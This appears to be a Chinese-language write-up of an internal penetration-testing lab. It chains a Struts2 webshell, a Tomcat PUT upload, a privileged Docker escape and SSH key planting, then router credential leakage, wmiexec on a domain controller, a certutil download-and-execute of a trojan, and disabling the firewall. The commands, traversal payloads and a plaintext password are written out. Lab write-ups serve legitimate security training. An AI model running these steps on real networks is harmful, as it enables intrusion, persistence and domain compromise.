内网靶场-3

内网靶场-3

1 靶场信息

1
目标ip:10.10.0.105

2 渗透路径

2.1 信息收集

  • ip端口探测
1
2
3
4
10.10.0.105:22             (mac,info,win,brute,linux,in,ssh)
10.10.0.105:2001 (in,web2)
10.10.0.105:2002
10.10.0.105:2003

2.2 2001端口

2.2.1 webshell权限获取-172.20.0.2

‌‌‌‌  端口扫描发现2001端口,文件上传接口,根据cookie和插件分析,是Java站点,上传jsp文件。上传接口无法使用,没办法上传文件。标题struts2,并且上传接口/doUpload.action,【.action / .do】属于struts2框架,漏洞检测存在漏洞,写入webshell。获取机器172.20.0.2权限。

示:struts2

示:webshell权限

‌‌‌‌  机器信息收集,只运行了一个struts2包搭建的环境,其环境是docker容器内,ps进程数量较少、同时检查出存在docker的特征。

1
2
ps -aux   //检查进程,进程数量较少
cat /proc/1/cgroup //发现docker容器内特征

示:docker容器特征
 

‌‌‌‌  在docker容器内,需要获取宿主机权限,尝试docker逃逸。

  • docker remote api未授权访问(默认2375)
  • 特权模式
  • 容器挂载不当
    ‌‌‌‌  目标10.10.0.105,根据端口探测结果,未发现存在docker remote api未授权访问开放端口,内部扫描也并且发现存在2375端口

示:扫描宿主机端口

‌‌‌‌  特权模式探测、挂载文件探测,容器未使用特权模式启动,并未发现挂载docker.sock。此路径没思路了,无法找到另外的接入点,看下其他路径。

1
2
3
cat /proc/self/status |grep Cap  //特权判断

find / -name docker.sock //搜索容器是否有挂载docker

示:

示:

2.3 2003端口

‌‌‌‌  2003端口,phpmyadmin默认登录,存在文件包含漏洞。

1
/index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd

示:文件包含漏洞

未进行后续操作。

2.4 ‌‌‌‌2002端口

‌‌‌‌  2‌‌‌002端口开放tomcat服务,存在CVE-2017-12617 PUT直接文件上传,获取权限

示:

示:put写入文件

2.4.1 webshell权限获取-172.18.0.2

示:

ps命令无法使用,linux的存储的数据大部分已文件的方式,

1
2
3
4
5
ls /proc | grep '^[0-9]'   //查看所有进程pid
cat /proc/1234/status //根据pid获取进程信息

//合并命令
ls /proc | grep '^[0-9]' | xargs -I{} sh -c 'echo "==== PID: {} ===="; grep -E "Name|Pid|PPid|State" /proc/{}/status; echo ""'

示:进程信息获取

2.4.2 docker特权模式逃逸

‌‌‌‌  进程数量比较少,/proc/1/cgroup文件也是发现docker特征,该环境也是docker。按照之前的尝试docker逃逸。

示:存在特权模式逃逸

‌‌‌‌  存在特权模式,挂载宿主机文件到本机目录。

1
2
3
4
5
6
7
fdisk -l    

mkdir /rootfs
mount /dev/sda1 /rootfs

cd /rootfs
ls

示:挂载宿主机

‌‌‌‌  根据之前的端口探测结果,是机器对外开放22端口,尝试写入密钥进行登录。

1
2
3
4
cat /rootfs/etc/ssh/sshd_config  | grep PubkeyAuthentication
//YES说明可以通过密钥登录

mkdir -p /rootfs/root/.ssh && echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCumPiHfDPrROP+9v0BmuD6CdaFpovSNGfVOsZ+eWaSzRcp4C58d7vgZh8nzJRR0Qg0hoscF4eDhX3ARAuHrIwbg7+kW7gM+UmsNccBttn73qI8vv5v7e0uEF7DkqDvEs+bg1XN6RLoBtLjwc8qZjV7JEFhXx2tVzIja2wLPOiTu5168tRtPB+RwGPZHP5Y/Ef8ssJAy4BHtjZyZQnos8BL3brviiXWTezk4EO+z9w5klNTBZk+UjQ7nFMPHOQfCaGRsHqeUcoo8PyvDjC7l/am77GSCyHpVLiwV/IAbRHFBbumii7wdeJBfExxlbR0QgorBAGTKGccbIkBp1i47wHtXamRQ3OsPYlkOz+FKLm+AjBe1YonVN4RYaY5CDZgeDT0zVaUGa+eVAVBuCAes7WX5Y5pdk9DNg4UiQMgWv5g6ivHXG0Hvy8ViNL1Mvi3yXuQ+OrgWE9S6S1c+onhBCt1ATNmklu5LmxD/Y3T8j7402AsOrF878O+rVaHpnnFsZk=' >> /rootfs/root/.ssh/authorized_keys

示:ssh密钥写入登录

2.5 本机信息收集-192.168.183.128

‌‌‌‌  未发现192.168.183.128存在敏感的配置文件信息,128机器只允许了docker容器,未发现其他重要业务服务。

示:

示:内网双网卡【10.10.0.105、192.168.183.128】

2.5.1 存在域环境

‌‌‌‌  上传fscan进行内网探测,探测同网段,发现192.168.183.130机器,demo.com域内机器。简单尝试弱口令爆破,未成功,同网段下,暂未发现有其他信息。

1
2
3
4
5
6
7
8
9
10
[HOST] 目标:192.168.183.128 状态:alive 详情:protocol=ICMP
[HOST] 目标:192.168.183.130 状态:alive 详情:protocol=ICMP
[PORT] 目标:192.168.183.130 状态:open 详情:port=445
[PORT] 目标:192.168.183.130 状态:open 详情:port=389
[PORT] 目标:192.168.183.130 状态:open 详情:port=139
[PORT] 目标:192.168.183.130 状态:open 详情:port=135
[PORT] 目标:192.168.183.130 状态:open 详情:port=88
[PORT] 目标:192.168.183.128 状态:open 详情:port=22
[SERVICE] 目标:192.168.183.130 状态:identified 详情:service=ldap, product=Microsoft Windows Active Directory LDAP, os=Windows, info=Domain: demo.com, Site: Default-First-Site-Name, port=389
。。。

‌‌‌‌

2.6 B段扫描

‌‌‌‌  扩大范围,扫描B段存活探测,发现10段、发现h3c路由器。

1
fscan -h 192.168.183.0/16 -m icmp

示:

2.7 h3c路由器权限获取

‌‌‌‌  192.168.10.1-h3c路由器,存在信息泄漏漏洞,获取路由器后台登录密码。

1
2
3
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg

admin / C3ting@2024

示:

2.8 域机器-smb密码爆破成功

‌‌‌‌  根据获取到的密码,尝试扫描其他机器。密码和192.168.183.130机器相同,smb登录成功。

‌‌‌‌  部署配置下socks5代理,使用wmiexec工具,远程执行命令。根据systeminfo的信息,该机器属于域环境中,并且是域控机器。

1
./wmiexec.exe  administrator:"C3ting@2024"@192.168.183.130  systeminfo

示:主域控权限获取

2.9 域控上线

‌‌‌‌  机器不出网,使用采用正向shell的方式上线。将正向shell木马传入域控机器,本机作为中转,正向连接域控机器。

示:不出网

‌‌‌‌  机器不出网情况下,将木马上传到初始的tomcat入口点的机器。使用certutil下载文件执行文件。

1
certutil -urlcache -split -f http://10.10.0.105:2002/micri.ico C:\ProgramData\micri.exe && cmd /c C:\ProgramData\micri.exe

‌‌‌‌  期间正向连接失败,机器已经运行了木马文件,但是外部访问不到端口。查看了发现机器开启了防火墙,关闭防火墙。

1
2
3
4
5
//查看防火墙状态
netsh advfirewall show allprofiles

//关闭全部配置防火墙
netsh advfirewall set allprofiles state off

示:

示:域控上线c2

3 结束

‌‌‌‌